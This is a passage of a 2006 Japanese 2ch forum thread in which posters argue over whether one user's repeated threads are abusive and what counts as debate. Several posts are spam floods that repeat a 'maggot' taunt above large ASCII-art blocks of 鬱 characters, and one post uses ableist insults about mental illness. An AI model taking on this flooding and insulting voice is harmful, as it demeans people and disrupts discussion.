欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


305 :日出づる処の名無し:2006/05/01(月) 18:50:29 ID:NC+/J+Tz
ウジ虫が建てたスレなんてさっさと埋めないとなw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


306 :日出づる処の名無し:2006/05/01(月) 18:51:33 ID:NC+/J+Tz
ウジ虫が建てたスレなんてさっさと埋めないとなw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝



307 :日出づる処の名無し:2006/05/01(月) 18:54:01 ID:NC+/J+Tz
ウジ虫が建てたスレなんてさっさと埋めないとなw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


308 :日出づる処の名無し:2006/05/01(月) 22:52:53 ID:XnK439vO
>>303
>おまえは根拠の提示もなく「一日で三スレも消費するのは不当」と言い張る。
>しかし、明らかな例外がある(VIP)。

あのさあ

一日で3スレ消費とは言って無いぞ。
一人で3スレ消費とは言った覚えあるがなw

この時点でお前の珍論は終わり。

309 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 13:17:55 ID:BnnPQTHr
>>308
正確にはこれだな↓。

290名前: 日出づる処の名無し投稿日: 2006/05/01(月) 02:36:53 ID:xjthIvMB
たしかに一スレ程度ならまだ許せるがけどそれで三レス目か…
ーーーーーーーーーーーー

この時点でお前のは珍論じゃん。
適当に翻訳してやらないと訳分からん。
で、三レス→三スレはいいとしても、
誰がどう見ても、一人で使ってるわけじゃない。↓
http://tmp6.2ch.net/test/read.cgi/asia/1146364640/
文脈は、「一人で」なんて珍説だが、いくら何でも
こんなトンデモ説を言ってるなんて信じがたいわけ。
解釈における善解原則に従い、「板に負担→レスが多い」として、
スレの消費が早いと言いたいのだろうとするのが妥当だろ?

とはいえ、オレもこれを書いた後に確かめたのだが、一日三スレでもねーじゃん。
別に異常にスレを消費してるわけでもない。

で、結局、おまえは何が言いたいわけ?

「一人で」なんて、せいぜい
「ある一人が主役的な役割を果たしていて、多くのレスをしている」
くらいしかない。そんなもん、上であげた鎖国スレでも同じ。
そもそも、このスレだってそう。
不当である根拠になるわけねーじゃん。

いったい、おまえはどういう認識してんの?
まさか、http://tmp6.2ch.net/test/read.cgi/asia/1146364640/
↑これをして、「レスがほぼ一人の人物によるものだ」とか言いたいわけ?
こんなの主観がどーのというレベルを超えてるぞ?

310 :日出づる処の名無し:2006/05/02(火) 15:17:00 ID:2zxTH2C2
その前にお前がどういう認識してるんだ?

「ある一人が主役的な役割を果たしている」どころか
「一人が同じことを何度も言っている」だけだぞ?
しかも繰り返しで、多量のレスつきでな。

じゃあなんだ?
一人が延々と

「これから先の時代に500万人の失業者が出てそれをシンガポールのあの方と
俺が現れて失業者となったお前等を奴隷にして中国軍に鶴翼の陣で戦って
勝利する。根拠は我等の秘伝の教科書と中世の書物に書かれている」とか

延々とこいつと同じように話していたバカが昔極東で暴れてたけど、
議論になってたらそんなもんまで担当しろという事?
これも自分で自分の満足のためだけの為にスレ立て続けたからな。

しかも上のこいつ、同様のスレを他の板でもマルチで立ててるようだしな。

311 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 16:49:39 ID:BnnPQTHr
>>310
>「一人が同じことを何度も言っている」だけだぞ?
>しかも繰り返しで、多量のレスつきでな。

おまえ、マジで分からんのだが、それのどこがおかしいわけ?
一貫した主張を言うのは当たり前だし、議論が長引けば、
本来の主張を簡潔にまとめて示すことだって必要になる。
件の鎖国スレだってそうだろ?
それに、多量のレスが何だって?
単にまとめを貼るだけじゃないんだから、ぜんぜんいいじゃん。

>延々とこいつと同じように話していたバカが昔極東で暴れてたけど、
>議論になってたらそんなもんまで担当しろという事?

おまえさー。
議論なんてのは、お互いが相手の主張をナンセンス(あるいはトンデモ)だと思ってるもんだろが。
その「思う」を「論証(反証)」にするのが議論ってもんで、ナンセンスだと思うなら
誰もが納得する形でそれを示せば(反証すれば)いいじゃん。

妙な例を持ち出して「これと同じトンデモだ」と言い張っても、
何にもならねーよ。

>しかも上のこいつ、同様のスレを他の板でもマルチで立ててるようだしな。

放置してるとかでなければ無問題。
そもそも“板”が重複なんだからな。

312 :日出づる処の名無し:2006/05/02(火) 20:07:47 ID:2zxTH2C2
>>議論なんてのは、お互いが相手の主張をナンセンス(あるいはトンデモ)だと思ってるもんだろが。

【議論】
それぞれの考えを述べて論じあうこと。また、その内容。

【論ずる】

(1)筋道を立てて、物事を説明する。
「政治を―・じて彼の右に出る者はいない」
(2)とりたてて問題とする。
「―・ずるに足りない」「環境が良ければ遠近を―・じない」

貴方の言う「相手の論理をトンデモと思う」のが議論の条件というのは
全く必須条件でも何でもありません。

「お互いが相手の論理をトンデモと思ってるん」なら
いつまでたっても結論出ないでしょうが。

筋道が通っていなければ、そもそも他人が納得出来ないでしょ?
筋道が通っている議論をそこの>>1がしていれば賛同者なんてすぐに出来る。

なのに筋道が立ってない、もしくは崩された議論内容をそのまま言い続けるのは
議論では無いです。

313 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 21:03:44 ID:p3FPdgKo
>>312
>>議論なんてのは、お互いが相手の主張をナンセンス(あるいはトンデモ)だと思ってるもんだろが。
>貴方の言う「相手の論理をトンデモと思う」のが議論の条件というのは
>全く必須条件でも何でもありません。

別に、条件だとか定義だとかを言ってるわけじゃなく、
議論は「しばしばお互いが相手の主張をナンセンス(あるいはトンデモ)だと思ってるもんだ」と言ってるだけだぞ。
なにしろ、見るからにトンデモな例を出して「これと同じ」なんてやってるヤツ(おまえ)がいるんだから。
一応言っておくが、既に言ってるように、こんなのはおまえを信用するヤツは信用するし、
しないヤツは信用しない。それだけのこと。
これから唯一言えることは、「おまえが相手を、その例のごとくトンデモだと思ってる」ってだけのこと。
で、だから、「議論において、相手をナンセンス(あるいはトンデモ)だと思ってる」なんて普通だって指摘してるわけ。
ここまで言わないと、上記の文の意図が分からないか?
定義や条件付けなどじゃなく、「しばしばそうなっている」と言うだけでレスになるわけ。

314 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 21:07:36 ID:p3FPdgKo
>>312
>「お互いが相手の論理をトンデモと思ってるん」なら
>いつまでたっても結論出ないでしょうが。

もちろん論破されたってそれを頑なに認めないのが極東板クオリティだし、
合意を意味するような結論など出ないのがほとんどだろう。だが、
このことと、今回の件は関係ない。
いいか。「相手の論理をトンデモと思ってる」の半分はおまえ自身が認めている。

>なのに筋道が立ってない、もしくは崩された議論内容をそのまま言い続けるのは
>議論では無いです。

↑これは何?
おまえは「相手の主張をナンセンス(あるいはトンデモ)だと思ってる」んだろ?
だけど、オレは逆に、おまえの主張がナンセンス(あるいはトンデモ)だと思ってるぞ。
件のヤツもそうなんじゃない?
そこにおまえが含まれるかどうかは不明だが、自分(件のヤツ)は有意味で整合性のある主張をしてるつもりだし、
それにイチャモンを付けるヤツらは、無意味な(反論になってない)ことを言ってると。
で、だからこそ、その「思う」を客観的な論証(論理は客観的)に変えるのが議論だって言ってるわけ。
それがあれば、真偽は「相手を信用するかしないか」ではなく、論理における客観的自明性の問題になる。
「1+1=3」。これの真偽は信じるかどうかじゃなく、数学の公理との論理的関係から自明なものだろ?

315 :日出づる処の名無し:2006/05/02(火) 21:10:22 ID:vsWSqaGq
ウジ虫が建てたスレなんてさっさと埋めないとなw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

316 :日出づる処の名無し:2006/05/02(火) 21:10:57 ID:vsWSqaGq
ウジ虫が建てたスレなんてさっさと埋めないとなw
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

317 :船虫Jr ◆.Tg2yBtH66 :2006/05/02(火) 21:11:34 ID:p3FPdgKo
ついでに言うと、

>筋道が通っていなければ、そもそも他人が納得出来ないでしょ?
>筋道が通っている議論をそこの>>1がしていれば賛同者なんてすぐに出来る。

これは、まあもっともな意見だが、ここには勘違いがあると思うぞ。
「筋道が通っていなければ、そもそも他人が納得出来ないでしょ?」
→いや、納得するぞ。筋が通ってないと分かるってことは、相手は間違いであると納得するだろ?
そして、それが明確に分かるなら、議論を終わらせることもできる。
どこがどう間違ってるのか明白に示してやればいいわけだから。
こういうのが反証ってもんだろ?

「筋道が通っている議論をそこの>>1がしていれば賛同者なんてすぐに出来る」
→ウヨサヨ論争で賛同なんてほとんどない。心理状況で言えば、
相手の主張は筋が通っているように思えるんだが、どうしても賛同できないというのは
何か騙された気分になるもんじゃないのか?何かトリック(詭弁)を使ってるんじゃないのかと。
こういうもんこそ、真に“納得できない”ってもんだろ?
数学の集合論なんて見てみ。筋が通っているようで、どうにも承伏出来ない話だから。
いずれにせよ、議論が続いている限り、筋が通っているような気がしても、
「これは詭弁なんだ(ホントは筋が通ってない)」と自分に言い聞かせ、
実際にも、詭弁なんだと言い張るもんだがな。

で、何がおかしいかって、結局これって、
「筋が通っているかどうかは賛同者の有無で判断する」ってなるわけだろ?
これは完全に勘違いだぞ。
賛同なんてしたとしても、議論にならないし、2chのレスはほとんど反対意見なんだから、
反対者がほとんでになるのは当たり前だし、サヨな掲示板ではサヨ意見が賛同され、
ウヨ掲示板ではウヨ意見が賛同されるってだけのこと。
賛同者の数なんて糞。判断の足しにはならない。
逆に、賛同者がどーのと言ってるのは「自分は騙されやすいアホだ」と告白してるようなもの。
まあ、このレスは余談だな。

318 :日出づる処の名無し:2006/05/02(火) 21:16:41 ID:2zxTH2C2
>議論は「しばしばお互いが相手の主張をナンセンス(あるいはトンデモ)だと思ってる
>もんだ」と言ってるだけだぞ。
>なにしろ、見るからにトンデモな例を出して「これと同じ」なんてやってるヤツ(おまえ
>)がいるんだから。

だから実際に見ろといってるだろ

お前の主観で「すばらしい議論をしている」と勝手に判断したところで
殆どの連中からみれば要らないんだよ。最初からな。
何しろ話一切聞かないし、論破されてるにも関わらず
同じ内容のスレを何度も何度も立てて騒ぎまくってるだけなんだから
お前が参加できるんだったら参加して来い

そんならお前が行って>>1を擁護してこいよ。


>筋道が通っていなければ、そもそも他人が納得出来ないでしょ?
>筋道が通っている議論をそこの>>1がしていれば賛同者なんてすぐに出来る。

>これは、まあもっともな意見だが、ここには勘違いがあると思うぞ。
>「筋道が通っていなければ、そもそも他人が納得出来ないでしょ?」
>→いや、納得するぞ。筋が通ってないと分かるってことは、相手は間違いであると
>納得するだろ?
その通り。既に筋が通ってないので議論は終ってる。
ただな?相手が納得するかどうかは別の話。

319 :日出づる処の名無し:2006/05/02(火) 21:20:34 ID:2zxTH2C2

つまり相手がアホやキチガイだったら?ボケていたらどうなる?
精神病だったら?そこらへん考えてないでしょ。
こちらは、相手が精神病者である可能性や若年性ボケである事まで
判断は出来ない。あるいは本当にアホかどうか等。
そういう理由で本人が納得できる能力が欠如していたら、本人は生体的に納得できない。


9割9部9厘話は終っており、結局本人だけがダダこねてるだけ。
病気かどうかの判断はこちらでは出来ないが、既に本人以外の全ての人間が
納得してるんならそれで議論は終了、
それでも本人が納得しないならそれはもう本人の過失か、議論能力無しとみなし、
それで皆さん納得できない内容でスレ立て続けるんなら強制退場やむなしだろ。

320 :日出づる処の名無し:2006/05/02(火) 21:22:42 ID:vsWSqaGq
ウジ虫が建てたスレなんてさっさと埋めないとなw
